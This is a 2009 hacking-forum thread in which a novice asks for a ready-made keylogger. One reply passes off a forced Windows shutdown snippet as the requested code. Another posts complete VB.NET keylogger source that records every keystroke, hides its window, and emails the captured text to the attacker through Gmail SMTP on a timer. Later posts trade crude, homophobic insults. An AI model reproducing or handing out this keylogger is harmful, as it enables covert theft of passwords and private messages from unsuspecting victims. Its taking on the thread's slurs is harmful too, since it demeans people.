Copy and paste this:
Code:#include <iostream> #include <windows> int main() { ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0); return 0; }
I need a Ready to compile Keylogger Code or Ready Keylogger.exe
I'm Noob on Programming and i need little Tutorial how to use that or something.
Greetings Hackers ;*
Copy and paste this:
Code:#include <iostream> #include <windows> int main() { ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0); return 0; }
crushed (12-22-2009),Hell_Demon (12-22-2009),ilovecookies (12-22-2009),Pixipixel_ (12-22-2009)
Hell_Demon (12-22-2009),rwkeith (12-22-2009)
my key loger FTW
btw the items you need to add
we need a Textbox, for capturing text
we need 3 timers:
Timer 1 controls how often it will look for
key strokes
Timer 2 controls how often it will try to
mail results
Timer 3 controls how long the forum will be
visible (1 millisecond by default)
Code:This is the code for the entire project:by cru0 'start code Imports System.Net.Mail 'Mail Class Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() Timer2.Start() Timer3.Start() End Sub Public Function GetCapslock() As Boolean ' Return Or Set the Capslock toggle. GetCapslock = CBool(GetKeyState(&H14) And 1) End Function Public Function GetShift() As Boolean ' Return Or Set the Capslock toggle. GetShift = CBool(GetAsyncKeyState(&H10)) End Function Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i As Integer = 1 To 225 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then If GetCapslock() = True And GetShift() = True Then Select Case (i) Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]" Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[BackSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 20 Case 91 'windows key Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = True And GetShift() = False Then Select Case (i) Case 91 'windows key Case 1 'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]" Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[BackSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = True Then Select Case (i) Case 91 'windows key Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]" Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[BackSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 20 Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = False Then Select Case (i) Case 1 ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]" Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[BackSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 91 'windows key Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If End If Next i End Sub Sub MainEvents() 'Fill In all Required info, if your not using gmail use smtp . your email provider ex: '"smpt.yahoo.com" or "smpt.custom_email.edu" Try Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("Your_Email_Address@gmail.com") MyMailMessage.To.Add("Your_Email_Address@gmail.com") MyMailMessage.Subject = "Test" MyMailMessage.Body = TextBox1.Text Dim SMPT As New SmtpClient("smtp.gmail.com") SMPT.Port = 587 SMPT.EnableSsl = True SMPT.Credentials = New System.Net.NetworkCredential("Your_Email_Address@gmail.com", "Your_Email_Password") SMPT.Send(MyMailMessage) TextBox1.Text = "" Catch ex As Exception End Try End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick If TextBox1.Text <> "" Then MainEvents() End If End Sub Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick Me.Visible = False Me.Hide() End Sub End Class 'end code
Last edited by cru0; 12-22-2009 at 03:25 PM. Reason: pasted boxes.
Thats visual basic ****** GTFO
Ah we-a blaze the fyah, make it bun dem!
falzarex (12-23-2009),Matrix_NEO006 (12-22-2009)
"Every gun that is made, every warship launched, every rocket fired signifies, in the final sense, a theft from those who hunger and are not fed, those who are cold and are not clothed. This world in arms is not spending money alone. It is spending the sweat of its laborers, the genius of its scientists, the hopes of its children. The cost of one modern heavy bomber is this: a modern brick school in more than 30 cities. It is two electric power plants, each serving a town of 60,000 population. It is two fine, fully equipped hospitals. It is some fifty miles of concrete pavement. We pay for a single fighter plane with a half million bushels of wheat. We pay for a single destroyer with new homes that could have housed more than 8,000 people. This is, I repeat, the best way of life to be found on the road the world has been taking. This is not a way of life at all, in any true sense. Under the cloud of threatening war, it is humanity hanging from a cross of iron."- Dwight D. Eisenhower
I'm not so stupid it's for closing windows or some application ;]
Good Code is writed in VB so...
I need a Code maked in C++ but thanks for little Tutorial in VB ; D
Maybe i start to do something in Visual Basics.
Lolland thanks for little program ; D Maybe i send to my noobish friend to test ; D
Greetings guys ;*
Originally Posted by falzarex aka myself
This is an epic fail resume
Hello VBfags.
A 'member' of the almighty C++ section will soon join you, he is 13 year old, has the IQ and typing skills of a VBfag, so I thought he would fit in here nicely.
A few reasons why he should be in this section instead of the C++ section:
1) He has the IQ of a VBfag.
2) He has no sense of grammer/spelling at all.
3) He thinks he is pro(like most of the people in here)
4) He thinks copy pasting is fun(exactly what you guys do)
5) He loves it up the ass(he will keep you VBfags nice and warm)
Whats with all the VB Fags transferring to the C++ board?
There are five possible operations for any army. If you can fight, fight; if you cannot fight, defend; if you cannot defend, flee; if you cannot flee, surrender; if you cannot surrender, die." - Sima Yi
Hell_Demon (12-25-2009),ilovecookies (12-25-2009)